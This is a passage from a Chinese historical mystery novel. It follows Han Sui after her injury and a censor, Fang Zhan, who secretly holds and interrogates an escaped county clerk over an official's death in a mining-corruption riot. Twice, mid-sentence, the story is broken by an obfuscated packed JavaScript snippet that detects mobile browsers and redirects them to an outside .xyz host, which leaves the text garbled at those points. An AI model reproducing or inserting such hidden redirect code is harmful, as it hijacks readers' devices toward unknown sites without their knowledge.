通山与先秀年岁相仿,十六七岁,与他母亲榆娘一样,俱长得黑瘦精神。虽没读过几天书,但一向是人机灵、拎得清,可他说的这番话却叫一屋子人稀里糊涂。 韩穗早已下床,为转移伤口愈合期隐隐生痒的不适感,此刻正在小厨房躺椅上,看榆娘与宋妈做豆腐。 “何意?”她不解问道。 通山便把自己去府衙的一番经过道来。 这日他一进州府,就如往常一样朝自家老爷所在的通判衙而去,路过二堂时见好些人围在中庭,一时好奇也跟过去探看。 只见堂前有一人跪在地上,萧萧冷风中,上半身只穿了件中衣。再仔细瞧,搁在那人身侧地上的东西,居然是佩刀与卸下的兵甲。 正疑惑,可巧看见秦风立在近堂前,便上前询问发生了何事。 “姑娘猜怎么着,”通山现在想来仍觉得惊异,“秦风说,那日害您惊马受伤的‘逃兵’,其实是当晚从狱中逃走的犯人假冒的!” “据说那犯人逃出狱后就一直藏在州府内,得知御史大人要找人手送姑娘回家,悄悄给一个卫兵下了蒙汗药,穿了他的兵甲,混入护卫队中跟随出府,又在路上趁机逃走。出了这么大的漏子,还害得姑娘受伤,那位领兵的沈参领就跪在堂前除甲请罪呢!” 听此消息,屋内除了韩穗,其余三人俱是震惊不已。宋妈更是激动地碎碎念起来:“阿弥陀佛,无妄之灾,无妄之灾啊!” “沈参领统领一方卫所军,出如此纰漏确实不该,但那逃犯的行为,听起来却不像是靠他自己就能做到的……”韩穗若有所思,逐渐生出一个连她自己都吓一跳的想法。 她赶紧将那猜想清出脑海,问通山:“那逃犯到底抓着没有?” “要是人抓着了,沈参领也就不必如此请罪了,据说那晚犯人逃进小胡同,很快把前去追捕的卫兵给甩开,虽然后来又加人手搜捕,可人早就不见了。” “此人什么来历?” “说是叶阳县的县吏,之前乱民闯入县衙放火烧死了县令,他许是被吓到了,当天晚上就跑到州府,说自己是县令贪污的帮凶,投案自首了。” “又是叶阳县那桩案子,晦气。”韩穗看向自己受伤的左腿,心道自己可不能白白受伤,于是问:“沈参领最后可被处置了?” 通山摇头:“这就不知了。小的远远瞧见老爷也在二堂里头,就一直等,但等了好久御史大人也不出来发话,就跟秦风留了姑娘的话,先回来了。” 沈参领是方湛带来的人,他的环节出了问题,想来这御史大人的脸面很难挂得住吧。 不过韩穗可没兴趣与那人感同身受,她听通山回话回得唇干舌燥,便叫他赶快坐下喝口水缓缓。 小厨房内一时静悄,只有灶膛里偶尔传来旺火烧柴枝的噼啪声响,韩穗窝在躺椅里,闻着缭绕不散的豆浆清香,这么多天以来第一次觉出惬意。 然而这惬意没持续多久就被宋妈的埋怨声打断。 “这叶阳县专跟咱家作对似的,原本过了冬至就该启程回京的,偏偏那起子乱民造反烧死了县官,连累老爷还得留下帮着查办,里里外外耽误了一个月,眼看案子结了,又冒出个逃犯,还有完没完了!” 榆娘停下手中翻搅豆浆的木勺,不悦道:“叶阳县的乡民都是可怜人哟,若不是被逼急了,日子过得好好的,怎会去放火烧县衙?要怪就怪那死鬼县令,贪心太过,银矿出事前就偷偷买卖徭役名额,一买一卖两头收钱,今春矿难死了七十多人,他又把朝廷发下来的赔银装进自己口袋,这种钱他都贪,被烧死是他应有的报应哩!” 她守寡前曾在叶阳县生活过,因而提起那案子,自然同情乡民。宋妈也意识到方才言辞有些不妥,忙改口道:“唉,说来说去,还得怪那银矿。” “说的是呢,最早在叶阳县以北的叶灵峰发现银矿时,就有村里的老人说此方位开矿是为不祥,如今看来真应了验了!”榆娘继续翻搅起锅中微微冒泡的豆浆,神秘兮兮道:“云州过去几十年风平浪静,可从未发生过这么惨的命案,据说那叶灵峰是云州西山的灵脉,在此处挖矿相当于破了云州风水,先是矿井坍塌死了那么多人,随后县令被火烧成干尸,这不是天神老爷怪罪又是什么?” “李榆娘你可别说了,大白天的都听着瘆人。”宋妈责怪道。 “可不是嘛,冥冥之中自有定数似的,”榆娘一本正经道,“原本矿难一出,银矿就关了,连那阉人矿监都回上京了,好像一切都平常无事的时候,偏偏咱们云州的‘大名人’刘百盛被人血书告上衙门,一下子把狗县令贪污矿难赔银的事给捅了出来。可怜见的,那些矿难死者可大都是叶阳县的乡民,这才惹了众怒!” 关于那个被云州百姓视为不详的银矿,韩穗也听父亲抱怨过许多。 所谓“普天之下莫非王土”,大胤境内的所有矿采都直属皇家,由宦官所担任的矿监一手负责,就连六部及当地官府都无权过问。是以这云州银矿的前期开采熔炼,乃至后期的成银运输,具体事宜云州府衙一概插手不得。 若是什么也不管,倒也能落个清静。可矿役征收的倒霉差事,偏又甩到官府身上。庄稼人的劳力都是可丁可卯的,平白无故多出来的徭役,自然不得百姓好话。 等矿开起来,情况愈加复杂。矿监田青要强化对银矿的掌控,五年间竟在暗地里催生出一股见不得光的势力,一些原本游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828700|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手好闲的人乘势而起,靠给矿监当狗腿子发迹。这些人鱼肉乡里、恶事做尽,自以为傍上了宦党,连官府都不放在眼里。 云州知府黄华谦偏巧又是个怕事的,一面自诩文官清流不与宦官同流,一面又怕真得罪内官势力,对银矿生出的乱事是得过且过,最后索性以银矿靠近叶阳县为由,将所有与之沾边的事都推到县衙头上。 哪知这颗“烫手山芋”到了叶阳县县官手里,居然成了攀权附贵、营私谋利的机遇。尤其是县令于江,无所顾忌地与矿监的狗腿子刘百盛等人结交,在叶阳县地盘里横征敛财,引得民众怀恨在心。 而导致民众终于忍无可忍、揭竿而起的导火索,正是缘自于江在一场赵、刘两家的官司中不辨是非、明睁眼露地偏袒后者。 而这“致命”官司的始末,还要从被状告人刘百盛说起。 刘百盛原只是个走南闯北淘私矿的,一把年纪连个媳妇都娶不起,云州银矿开采后,他被征到矿上,机缘巧合下竟得到矿监田青的赏识,成为其心腹,一来二去,摇身变成云州最大赌坊的东家。 既成了富商,自然不想再去矿上做苦力,但他本人役期却还未满。按照大胤律例规定,想要免除徭役的,只需抵缴一定折银即可,不缺钱的刘百盛便照此操作了。只是那县令收了折银却不划除役额,偷偷将名额又卖与了一个也想搭上田内官求发财之道的村霸。 这村霸唤作赵大,早些年给一户乡绅当护院打手,征矿役时靠主人躲了过去,后见刘百盛靠银矿飞黄腾达便眼馋起来,也想去试试运气。 只是他运气不济,原以为花五两银子买的“通天路”最终竟成了他的“黄泉路”,刚去矿上没几天,就送命于一场突发的矿难之中。 及至入秋,赵大的婆娘不知从何得知,因矿井事故身亡者的家人都能得到官府发的一笔赔银,于是心急火燎地跑去县衙要钱。 县衙自然不承认有这回事儿,还将其当作疯妇赶了出去。那婆娘并不死心,到处打听,意外得知死鬼丈夫顶的是刘百盛的役名后,一口咬定是刘家偷领走了她的那份赔银,当即直奔刘百盛在云州城西新建的宅子,当街哭喊叫骂,要求刘家人还钱。 那日刘百盛恰好不在城中,其老娘却是个横货,对骂不过便动起手来,一脚踹在对方的心口窝上。那婆娘岂能吃亏,俩人厮打到街坊邻居都看不下去,直到赵老大的弟弟赵二赶来将寡嫂拉扯回去。 正所谓无巧不成书,那赵大家的回去第二天就吐血死在了炕上。赵二一纸状书将刘家告上公堂,将他哥嫂的两条人命全都认到刘家头上。 刘百盛怎肯认罪,也不可能叫自己的老母下狱,而向来与之交好的县令于江便将这诉状直接驳回,甚至以藐视公堂罪打了赵二三十大板。 此情一出,不知怎的,当晚叶阳县百姓的怒火如同被点燃,那些曾被刘家势力欺压的、遭受过县衙不公的,乃至单纯看刘百盛不顺眼的,再加上从未收到赔银的矿难死者家属,不约而同拾械聚集,冲陷县衙,一把大火烧透公廨,最终酿成震惊整个云州的暴民杀官惨案。 12. 叶阳县(下) 此案惊动上京是必然,不出三日,朝廷一道“速破案”的急令快马加鞭而来。 知府黄谦量亦知事态之严重,一改此前得过且过的和稀泥作风,速召人马,短短几日就将作乱之人悉数捉拿归案。随后查审取证更是毫不拖泥带水,最终判处带头作乱者以绞刑,其余参与闹事者则视情定罪。 至于赵二与刘百盛之间那桩未完的官司,已因乱民杀官案被传得人尽皆知,州府自然要给个清楚合理的交代。 赵大确因矿井意外坍塌而死,并非刘百盛所害,这是事实,但其婆娘的死却与刘家人脱不了干系,毕竟那日她在街上被刘母带人围殴的场面为街坊邻居亲眼所见。刘百盛见无从抵赖,只好替母担过,挨了几十大板,又赔给赵家一笔可观银钱算是了事。 那赵二对此裁决很是不满,认定了刘百盛得以命偿命,可他一介庄稼汉不敢忤逆官老爷的意思,是以表面服从,内心却生出定要亲手为哥嫂复仇的决意,不过这已是后话。 且说赵刘二人官司了结,但人却不能放走。一来推官认为赵二有蓄意挑动民怒的嫌疑—一毕竟乱民与他站的是同一立场,其二就是刘百盛与死者县令生前关系密切,且有乡民状告二人合伙在叶阳县辖下的几个村中侵吞田地。 知府黄谦量原本还想借着这起骇动朝廷的案子对刘百盛开开刀,也好找补回此前被百姓嘲笑胆小如鼠的名声。然而叶阳县的库阁早已被那场大火烧毁,一切作奸犯科的勾当都成了死无对证。 就连县令于江贪下内廷直拨赔银的证据,都是矿监田青亲自拟信提供的。与那信一同来的,还有一封专给知府黄谦量的“问好信”。 信上内容其他人无从得知,只知道没过多久,刘百盛就因状告者证据不足而无罪释放。 弱者被逼入绝路奋起反击,终落个被杀头的下场,而恶贯满盈的人却能轻轻松松逃脱制裁。 韩穗清晰记得,那几日父亲下值回家后心情郁郁,直呼若早知这案子是如此狗屎的处置结果,当初绝不会碍于情面应下黄知府的请托。 可世上没有后悔药可吃,之后韩立煜便故意只做些起草记档的文书琐事,尽量减少在此案中的参与程度。 如今御史一行入城专督此案,此前糊弄了事之处很可能会被纠察得无所遁形,再加上罪吏越狱一事,一向得过且过的黄知府这次怕是要不好过了,搞不好整个府衙都要被问责。 韩穗手捧暖融融的汤婆子,伴着摇椅的轻晃隐隐生出睡意,朦胧中想道,还好父亲早就任满,现属礼部之人,就算御史大人真要问罪整个云州府,也问不到父亲头上吧,除非他二人有过节,前者故意针对…… 摇椅轻晃戛然而止—— 父亲与他确实没有过节,但她有啊! 韩穗兀地从摇椅上坐起。 …… 腊八日一过,云州城内的年味更重了些。 鹊英大街五日一次的大集热闹非凡,两旁摊面上摆满了年节物什,有新扎的扫帚、成摞的碗碟,以及各种精致花灯。画棚里挂出福禄寿、婴戏图、岁朝图之类的喜庆小画,直引得垂髫小娃驻足围看。山里人扛着狩来的野兔、野鹿、雉鸡,蹲在街角抽着旱烟等买家,就连往日冷清的文房斋铺也挂出联对和桃符,红彤彤的纸底映得往来行人喜色朗朗。 冼牧川穿行在如织人群中,仰看着各家店铺挂在檐下的朱红大高照,惊喜道:“想不到这小小云州城的改岁之俗不输上京啊,竟如此热闹、气氛十足!” 可身侧人却良久不给回应,他扭头一看,只见方湛神情微凝、不知所想,似乎根本就没听他在说什么。 “喂,”冼牧川故意撞了他肩头一下,“你不会连走路都在思考那破案子吧,既出来了就该好好感受一下他乡风俗,回头也写个什么游记,酸儒文人不是最兴这一套吗?” 方湛闻言笑着瞪了他一眼,仍不搭话。 冼牧川见他“冥顽不化”,一把揽住他的肩,劝道:“我说明渊兄,你我正当风华茂年,尽情饱览这大好人间才是正事,别整日想着那些无聊的公务,小心操心多了长得越来越像内阁那几个老家伙。” 方湛冷笑一声:“我不去想那些无聊的公务,谁来帮你调职?” 话说那日冼牧川答应了不借韩穗弄坏衣裳之错为难其父亲,但同时也提出了交换的条件——方湛需给他找个事少舒服又风光的空缺调过去。 至于他为何不愿继续做尚保监的少监了,无非因这差事繁杂又重要,动不动还要向圣上汇报,实在无法偷懒。但这位子却是他父亲文英候刷脸给他谋来的,怎会允许他说丢就丢? 冼牧川便借机讹上了方湛,让他一定要不露痕迹地帮自己调换个地方,最好是那种名头响亮又不用亲自做事的,反正是再也不要在圣上眼皮子底下办差了。 本以为这明摆着得罪文英候的棘手之事,方湛很可能会回绝,没想到他竟一口应下了。冼牧川如同抓住了救命稻草,想起来了就好奇缠问方湛能想出什么妙招。 果然说到调职,冼牧川立马松开手,当街作揖恭敬道:“方大人请继续想,卑职绝不打扰。”可他说完,又凑上前,笑嘻嘻问:“你可想好将我调到何处了?” 对于方湛来说,应下此事,多少有些投机取巧在其中。他离京之前曾被圣上密召,得知其早已对内官矿监在各地的罪行心生不满,意欲裁撤矿监一职,将矿税纳入户部之责。 若当真如此变动,那目前负责收管矿税的尚保监,就是第一个要被整锅端的。部门都没了,冼牧川的这个少监自然也不必当了,而文英候更是怪罪不了谁。 至于冼二郎口中又舒服自在又鲜亮气派的差事,他心里已有了成算,只是事情未定之前不好乱许诺,此刻便故弄玄虚含糊其辞道:“天机不可泄露。” 冼牧川对方湛的脑袋瓜是绝对信任,他本身也是个懒怠操心的人,相比费些用不着的劲去追问官场“勾当”,他更关心这位好友身上的一处异常。 他故意靠近方湛,神秘兮兮地问道:“这几日我有一事一直琢磨不通,还请明渊兄答疑解惑。” “何事?”方湛负手身后,边走边小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828701|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心避让着一群追逐笑闹的孩子。 冼牧川摇晃着手中折扇,试图遮住嘴角溢出的坏笑:“据我所知,方大人可不是一个什么闲事都管的滥好人,这次居然愿意为了韩老头那女儿,应下我的无赖要求,该不会是,方大人万年铁树开花,看上那韩家姑娘了吧?” 不等对方开口,他蓦地想起一人,唰一声收起折扇,重重拍在手心:“我想起来了,在上京时,工部有个叫韩程的小官总是对你冷面相向,而你却几次暗中提点维护他,我当时还为此纳闷,毕竟你也不是那高风亮节以德报怨之人呐,莫非……莫非,那韩程就是韩姑娘的哥哥?” 见方湛不置可否,他越想越歪,眼睛越睁越大,嘴巴也越说越离谱:“亦或是,你看上的不是韩姑娘,是她哥哥韩程?” 方湛直接笑出了声:“云莱兄思路之阔,联想之丰,去写话本子定会名声大噪。” “你说的怎么跟我那个爹说的一模一样?” “那你还不赶快尊称我一声爹?” 听了这玩笑话,冼牧川竟也不恼:“说真的,就你这副皮囊,同时拿下韩家兄妹俩不在话下……哎,哎,你怎么走了,你去哪儿啊?” 方湛已走进旁侧的小巷,头也不回,向身后的冼牧川摆手:“我还有事,先行一步了,晚上醉云天请我吃饭!” 冼牧川看着方湛在小巷尽头拐向别处的身影,对身侧小厮昌乐道:“说好了一起出来逛玩的,这就抛下我走了?难道真被我说中了心事?害羞了?” 昌乐看着自家主子欲言又止,谁会有这么离谱的心事?! 方湛拐至人迹稀少的小巷,直到身后的喧阗渐行渐远,这才恢复平常心跳,长舒一口气。 他今日在鹊英大街上的心不在焉,其实并非全是为云州一案。自那天雪夜之后,这几日脑海中总会时不时冒出一张被雪水打湿额发的莹白面容。 还有那双晶亮如故的眼眸。 一双眼虽因突如其来的诧异而似林间惊鹿,可眼底的那汪澈亮却无声无息地钻进他心底封冻完好的一处。 方湛忽而苦笑。她早已嫁作人妇,而他亦早就忘怀,想来这几日禁不住的时时回想,不过是因为曾是故人罢了,仅此而已。 他强行将注意力放到眼前。 前方巷子越走越窄,两侧堆放着的瓦罐木箱等愈加杂乱。脚下路面不再是洁净的青石板,未化的积雪被踩得泥冰混杂。四周屋墙低矮破败,除了时不时的恶犬狂吠声,只有与主街上热闹繁华截然相反的死寂。 这一片是城南贩夫走卒、引车卖浆之流的聚居区,即便是邻近年根,做苦力的人白日里依旧得外出上工,只到了晚间才会回来,聚在街边的店爿里吃酒赌乐、吹天谈地。 方湛穿梭在狭隘的通道里,偶尔侧身给手提泔桶或是头顶洗衣盆的妇人让路。这日他身着一件半新不旧的蓝灰色毛织直裰,浑身无一饰物,只要不看他的脸,还是很不起眼的。 好在一路上并未遇到几个人,他左拐右拐,来到一扇偏窄的斑驳木门前,有节奏地轻敲几下。 13. 罪吏(上) 门开,一位蓄满胡须的男子出现,将方湛让进去后,又谨慎观望四下,才将门重新锁上。 胡须男名叫裘明,是内廷厂卫之一玄英卫新提的司都校尉,此次前来云州,与冼牧川一样,皆是受皇命以听从方湛调遣,协其督办云州民乱杀官一案。 此刻他毛发密盖之下,一张脸黑红,着急问道:“大人白日来此,可是州府那边有何情况?” 自从那日雪夜抓住“逃兵”,将人秘密关押至此后,为避人耳目,方湛只趁深夜来过一次。眼下他大白日忽而至此,难免让裘明警惕起来,生怕是州府那边有人发现他们拿住犯人不交出,反而设暗狱私审的端倪。 方湛摆手:“不必担心,我只是顺道路过,有几个事想亲自确认。” 室内昏暗,见他提步走向暗梯,裘明忙举灯为其照明。 二人下至一间密室,阴湿空气中除了灯油烟味,还隐约夹杂着铁锈气息,若是细辨,就会意识到,这股锈味其实来自一种血腥。 密室分隔成两间,外间有两个平人装束的男子,实则皆是裘明手下,方湛甫一进来二人就齐刷刷起身见礼。方湛略一点头,直接步入内间。 里面除了一盏昏黄的油灯,别无光线。血腥的锈味骤然浓烈,其中混入些别的熏臭。 方湛毫不在意,面不改色,径自坐到一把靠墙的椅子上。裘明紧随其后,按刀立于他斜前方,一名手下则走至暗室一角,对着一团轮廓不明的东西就是一脚。 那“东西”支吾发声,随着当啷响动,这才叫人看清,墙角缩着的分明是一个手脚被铁链紧锁的人。 此人只穿单衣,浑身已无一处好地,血洇满身,蓬头乱发,只一双眼睛神经质地瞪着来人。 也不知他看出了什么,忽然间手脚并用地朝方湛爬去,被铁链猛地止住后,又趴伏在地,边磕头边泣求道:“小人已经什么都说了,什么都招了,求求大人可怜可怜小人,放小人一条狗命.....” “想活命就老实点,跪好了,问你什么你就答什么!”兵卫拉起人犯脖子上的铁链,将其拖拽回角落。 人犯伏地拼命磕头:“我说,我都说,小人什么都不敢隐瞒,求各位大人别再上刑了……” 方湛将对方的颤抖看得真切,不知是因为冷还是惧怕。玄英卫的手段他早有耳闻,不管你是拼战沙场的将军还是北疆暗潜的死士,到了他们手里没有一张撬不开的嘴,更何况眼前这个区区叶阳县的小吏。 “大人,”裘明俯身对方湛悄声道,“卑职昨日向您禀报过后又审了他几次,可这厮嘴严得很,没再吐新的了。” 方湛微微颔首,他早已料到会是如此。 叶阳县县吏尤谨,半月前主动投案于州府,自供其伙同该县县令于江买卖矿采徭役名额等徇私枉法罪行,随后被羁押入刑狱等候发落。 于江已在火中丧命,作为此案的一部分,在方湛等人抵达云州之前,州府早已拟出对尤谨的判决。若是圣上不曾钦派人手来“横插一脚”,眼下此人已被削职夺籍、走在发往岭南的流放之路上了。 哪知就如此之巧,方湛一行入云州城的当天夜里,这个叫尤谨的犯人就趁狱卒交替班次之际,从狱中堂而皇之地消失不见了! 知府黄谦量一把鼻涕一把泪地哭诉到方湛跟前时,距发现人犯失踪还不过半个时辰,他匆匆赶往刑狱,只检视一圈便推断出,尤谨的潜逃定有府衙内部人员接应安排。 墙内有眼,他不便声张。好在黄谦量不至于太糊涂,已经第一时间着人封锁府衙,方湛则下令卫所军并州府官兵搜索整个云州城。 然而轰轰烈烈的大搜查不过是方湛的幌子,对方既敢在钦官眼皮子底下行动,想来内应之人自信了得。他笃定这人犯多半就躲在府衙里,正伺机潜出。 于是他也静静等待,等待一个能亲手送给对方的机会。 只是伴随这机会而来的还有一人——韩穗。 他始料未及,亦不想拿她做局。可擅对弈者深知,局势生成的时机稍纵即逝,他不得不在片刻的犹豫后作出决断,故意大张旗鼓要组织临时卫队护送韩家小姐,只赌那暗处的内应定不会放过这个将人犯混入队伍、送其出府的机会。 之后发生的事显然验证了他的预判。假冒兵卒的逃犯掉离卫队试图脱身,裘明将其追堵到无人远巷之处擒住,将其交予手下带走,自己则装出让犯人逃脱了的假象无功而返。 这样一来,匿于衙署的内应听说“逃兵”未被抓住,自然会有善后行动。只要他有动作,就无法一直躲在暗处。 而方湛命裘明在此设暗狱私审,只因他直觉此人出逃的时机过于蹊跷,似乎是出于惧怕他的到来。究竟他来云州会产生怎样的影响,竟然比被入奴籍流放岭南还要可怕? 果然这人一到玄英卫的手里,吐出来的东西大有乾坤。 这不起眼的小吏可不单只是伙同县令买卖徭役、鱼肉乡里如此简单,甚至可以说,他就是被绑县令葬身火海的关键证人之一。 据他招供,发生民乱那日,他本是从县衙后院一处狗洞逃了的。他知东窗事发,自己与县令的勾当败露,出去后也不敢去邻县或州府报官,径直回家安顿好老母,匆匆收拾了细软,准备逃到外地躲几日风头。哪成想还没跑出叶阳县,就被一人拦下。 此人名叫张金龙,是万顺镖局的总镖头,与刘百盛多有生意往来,曾与尤谨一处吃过酒,也算个老相识。这位熟人开口就是要他与自己回去解救县令,说是雇主刘百盛的意思,事成后会与他一大笔银钱。 尤谨这才知道,乱民已冲陷县衙,将县令捆了起来押作人质,就连官兵来了也不敢轻举妄动。张金龙仗着有点身手,准备趁夜前去营救县令,只是不熟悉县衙内布局,需要尤谨跟他一起进去指路寻人。 于江作为县令没少给刘百盛行方便,二人的交情尤谨是知晓的,因而对张金龙的话不疑有假,甚至觉得刘百盛仗义十足。又听张金龙说田内官有法子保住他二人官职,更是安了心,心想事成后说不定还能靠此功升个一官半职,当下便鬼使神差地答应了。 只是他万万没有想到,当他按照约定潜入县衙并迅速找到县令于江被绑关押的房间后,张金龙竟二话不说,一掌将自己砍晕在地。 再醒来时,尤谨发现自己正躺在火海之中,旁边的县令早已不省人事,可他自身难保,管不了那许多,用椅子砸开窗翻越出去,趁乱逃出已火光冲天、惨叫连连的县衙。 捡回一条小命的他本想回家躲起来,走到半路,却越想越不对劲,兀地反应过来,张金龙叫他去救于江一事,分明就是个圈套! 定是刘百盛得知县衙被百姓围攻,生怕他与县令落难后将其攀咬出来,这才叫张金龙哄骗着自己回 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若真如尤谨所说,是张金龙引他去县衙又将其砍晕,那他醒来后身处的火海,很可能就是张金龙为灭口而伪造的意外失火,可如此重要堪称颠覆结论的线索,为何案卷中却没有提及? 只有两种可能——要么是尤谨向府衙投案时隐去未说,要么就是府衙内有人刻意掩盖。 无论哪种可能,若要破解这起看似已经明了实则疑点重重的案子,眼下只能先从这位想入狱就能入狱、想出狱就可逃的小吏身上入手了。 昨日听完裘明禀报的拷审结果,方湛当即提出几个疑点,让他继续盘问。但他为了转移某些自己都难以理解的思绪,只好时刻琢磨案子,想着想着就干脆来此亲自审问。 此刻方湛看着对面人,声音冰冷,语气却有几分轻松:“既然你一口一个‘大人’,想必早已看出我们是官差,就不想问问为何本官不将你押回州狱大牢,反在这里偷偷拷问?” 那罪吏跪伏在地,不敢抬头,亦不敢答话。 方湛唇边掠过一丝冰冷笑意,并不等对方回答,单刀直入道:“你的眼力不错,本官正是圣上钦派至云州彻查叶阳县县令之死的巡按御史。我看了你的卷宗,不是什么大事,这么些年贪下的银钱还不够京中贵人宴请一顿的花费,州府判你判得委实过重了。” 这一番话听得尤谨不知该作何反应了,正愣着,听得这位大人又道:“听闻你是孝子,家中又有患眼疾的老母,若真被充奴流放,只怕这一去就是天人永隔,也难怪你会不顾一切地越狱潜逃。” 这几日尤谨被迫适应了那三位爷严刑逼供的狠辣手段,冷不丁听到这么一番设身处地的人话来,竟忍不住泪如泉涌,乃至痛哭流涕、泣不成声。 方湛见他哭得不成样子,眉头微皱,话锋一转:“不过你也不必过于忧虑,据我所知,你在狱中这些时日,早已有人将你母亲从家中接走,送去城北一处宅子里,这人每三日就去看望一次,你母亲被照顾得很好。” 痛哭声戛然而止。 暗室里寂然无声。此处院屋是裘明手下从一个地头蛇手里高价租下的,这一带鱼龙混杂,干的都是暗地里的营生,任谁也不会去好奇谁的勾当,尤谨落到此处还不如在当初州府的狱中,当真是叫天天不应叫地地不灵。 方湛饶有趣味地观察着犯人的反应。几息过后,他唇角忽然浮笑,眼神却幽黯狠厉,一字一句道:“说起来,这人不仅你认得,本官看着也甚是眼熟。” 14. 罪吏(下) “说起来,这人不仅你认得,本官看着也甚是眼熟。” 尤谨低垂的头终于微微抬起,声音干哑道:“……大人是不是看错了,大人与小的云泥之别,小的认识的人,大人怎会见过?” “巧了,这人我不仅见过,近来还几乎日日相处。” 方湛的语气似与人说讲什么新鲜有趣的事一样惯常,却听得地上跪伏之人冷汗涔涔。 墙上的火把已被兵卫燃起,他紧紧盯察着光亮下人犯的表情微动,终于从对方脸上成功捕捉到一丝慌乱。他低头理了理衣摆的不平之处,又抬眼直直看向对方,再开口时,此前的戏谑全无,言语间只有冷厉: “你为了躲避张金龙的追杀,并没有选择逃遁外地,而是不惜向官府供出自己贪污的罪行,以借州狱保命。这一招对于寻常小吏来说,不可控的危险过多,入狱后遭受严刑拷打不说,万一判个死罪岂非弄巧成拙?但若是在官府中有一个信得过的靠山,且这靠山能量极大,你便可以轻松躲过一切死罪活罪,最后假装被官府发配岭南,骗过张金龙,实则换个身份去往一处安全之地生活。” “只可惜这场戏还未做到最后,圣上就派人来接管了案子。本官一行是提前秘密出京,官谕到的时候我们已经进城,想必你的靠山来不及应变,又怕你在日后的提审中说出些不该说的,只能连夜将你放走。” 说话间,方湛留意到尤谨一双眼已没了最开始的直愣,逐渐躲闪慌乱起来,他便心下有了数,放缓语气道:“其实他大可让你神不知鬼不觉地死在狱中,何苦冒险在钦官眼皮子底下大费周章地将你弄出去?” “只有一个原因,他舍不得你死。” “不仅舍不得你死,还舍不得你母亲受苦,”方湛身体微微前倾,“我倒是好奇,究竟是什么样的关系,值得他对你和你母亲如此付出?” 熊熊火把很快就将暗室里的空气炙烤得干热起来,而跪在地上的尤谨只能感受到从冷硬的地面传入骨间的寒意。 此前那三人的酷刑令他生不如死,但总觉得只要挺过去尚有一线生机。可眼前这位突然出现的年轻大人,所说字字句句都像无形的手紧紧扼锁住他的颈喉,刺入他的要害。 他有预感,只要他张口辩驳,对方就会像盘旋等候的秃鹫,毫不犹豫地将利爪伸向他不小心暴露出的弱处。 于是,他闭口不言。 方湛却耐心十足,他摆手拒绝了兵卫递上前的茶盏,身体稍稍后倚,慢条斯理开口:“你不回答无妨,反正已经有人替你答过了。” 地上之人身体一僵。 “要想人不知,除非己莫为。你的‘靠山’因替你照顾母亲露出马脚,已于昨日被本官暗中控制,原本打算将你受的那些刑给他也来一遍,但他显然没你能受苦,刚挨到第二道,就将你二人的事和盘托出,此刻正被关押在秘密处,只待我下令如何处置。” 尤谨猛然抬头,随即像座不堪一击的破庙被抽掉最后一根支柱,再也撑不下去,轰然颓倒在墙根,从呜呜咽咽逐渐到泣不成声。 方湛则任其情绪蔓延,本想趁热打铁,进一步套出他二人的关系,谁知对方哭着哭着开始悔诉起来:“哥哥啊哥哥,都是我害了你,都是我连累了你……” 站在一侧的裘明默默看了眼方湛,只见这位比自己还要小几岁的青年,面无表情,处事不惊,说起瞎话不带卡壳的,连自己这种多年刑审犯人的老手都分不清他哪句话真哪句话假,只知道他们在没有任何证据的前提下,不费一鞭一刑,就让那小吏承认了他是被官府之人放走的真相。 而方湛无心他想,暗暗记住了尤谨口中的“哥哥”一称。 其实关于罪吏是被州府人员放走的推断,他至今未找到实据。即便他暗中派去调查的人发现其母亲这条重大线索,到底也没能查实日常照顾她的人但是从何而来。 就连玄英卫的手段都没能从此人口中逼出真相,可想那内应要么手握其致命之处,要么于他而言是极其重要之人。 最终这个猜想,还得由当事人亲口确认。 正面逼供不得,那就使一招“釜底抽薪”。 方湛今日先将其母亲的事抛出,再谎称那内应已经落网,让他误以为在外最后的倚仗全无,彻底陷入绝境,心理崩溃,如此才好与他谈后续的交易。 见对方仍失心疯似的哭,方湛对一旁的兵卫眼神示意。兵卫即刻上前踢了人犯一脚:“闭嘴安静!继续听大人问话!” 待尤谨只剩了低泣声,方湛缓声道:“如今你二人皆成罪身,只苦了你母亲,年事已高,又有盲症,恐怕自己在家中撑不了多久。” “求求大人开恩,”尤谨听此倏地又跪起身,以头抢地,“看在我母亲孤老无依、双目失明的份上,放了我吧,我真的只是贪污了一点点银钱,别的什么也没干啊……” “放与不放你,都得看于本官有何利益。” 鱼已上钩,但方湛还需推波助澜一把。 他端坐椅上,神情睥睨:“先前你说张金龙骗你至县衙,害得你差点跟县令一样被大火烧死,据本官猜测,他很可能就是放火的真凶。只要本官抓住了张金龙,必能顺利破解云州之案,向朝廷请功。” “只是眼下此人不知所踪,无迹可寻,”他似有为难地说道,“为了引他现身,本官方才倒是想出个法子,不如也说与你听听,看看此法到底妥不妥当。” 尤谨自是一声也不敢吭。 方湛注视着伏在地上一动不动的尤谨,幽幽开口:“虽然你到现在都不肯据实交待为何会被张金龙追杀,但看你不惜下州狱躲避他的恐惧,也能猜到,定是因为你知道了什么不该知道的事,惹他起了杀心。这些时日官府四处搜寻你的动静不小,说不定张金龙得知你还活着,早已闻声而动,但他又找不到你,假如此时我散播出你母亲所在的地方,你猜他会不会去绑架了老太太,以此来引你出现?” 尤谨闻言猛然抬首,瞪大布满血丝的双眼,泪水鼻涕挂满那张不算年轻的脸。对于一个被母亲独自一人含辛茹苦养大的孝子来说,母亲就是他舍不下的软肋。 